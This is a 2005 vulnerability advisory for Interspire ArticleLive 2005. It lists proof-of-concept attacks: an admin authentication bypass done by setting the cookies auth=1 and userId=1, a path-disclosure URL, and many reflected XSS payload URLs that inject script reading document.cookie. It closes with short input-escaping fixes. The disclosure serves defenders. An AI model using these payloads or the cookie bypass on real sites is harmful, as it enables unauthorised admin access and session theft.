Authentication bypass, sql injections and xss in ArticleLive 2005

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Severity: High
Title: Authentication bypass, sql injections and xss in ArticleLive 2005
Date: 04/05/2005

Vendor: Interspire
Vendor Website: http://www.interspire.com/articlelive/
Summary: There are, authentication bypass, sql injections and xss in articlelive 2005.


Proof of Concept Exploits: 

http://www.example.com/admin/?
Full administrative authentication bypass

In the control panel, by setting your cookie to auth=1 and userId=1 would give you full administrative access.


http://www.example.com/search?PHPSESSID=2a657f6c30d2c9ecd71956c2952fcd0e&Query='Information DisclosureCategories=0
Full Path Disclosure

Warning: Wrong datatype for second argument in call to in_array in 
/home/httpd/vhosts/example.com/httpdocs/admin/includes/classes/class.category.php on line 460

Warning: Bad arguments to implode() in /home/httpd/vhosts/example.com/httpdocs/templates/Default 
(Stretched)/Panels/SearchResultsPanel.php on line 163


http://www.example.com/search?PHPSESSID=2a657f6c30d2c9ecd71956c2952fcd0e&Query='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&Categories=0
XSS


http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username='";><script>alert(document.cookie)</script>&Password=dcrab&PasswordConfirm=dcrab&FirstName=&LastName=&Email=&Biography=dcrab&Picture=dcrab
XSS


http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username=&Password=dcrab&PasswordConfirm=dcrab&FirstName='";><script>alert(document.cookie)</script>&LastName=&Email=&Biography=dcrab&Picture=dcrab
XSS


http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username=&Password=dcrab&PasswordConfirm=dcrab&FirstName=&LastName='";><script>alert(document.cookie)</script>&Email=&Biography=dcrab&Picture=dcrab
XSS


http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username=&Password=dcrab&PasswordConfirm=dcrab&FirstName=&LastName=&Email='";><script>alert(document.cookie)</script>&Biography=dcrab&Picture=dcrab
XSS


http://www.example.com/authors/register/do?PHPSESSID=0fc0faa9965a8214874d4731c2f3e592&Username=&Password=dcrab&PasswordConfirm=dcrab&FirstName=&LastName=&Email=&Biography=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&Picture=dcrab
XSS


http://www.example.com/blogs/newcomment/?BlogId='";><script>alert(document.cookie)</script>
XSS


Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions 
for input 
validation before passing user input to the mysql database, or before echoing data on the screen, would solve these 
problems.

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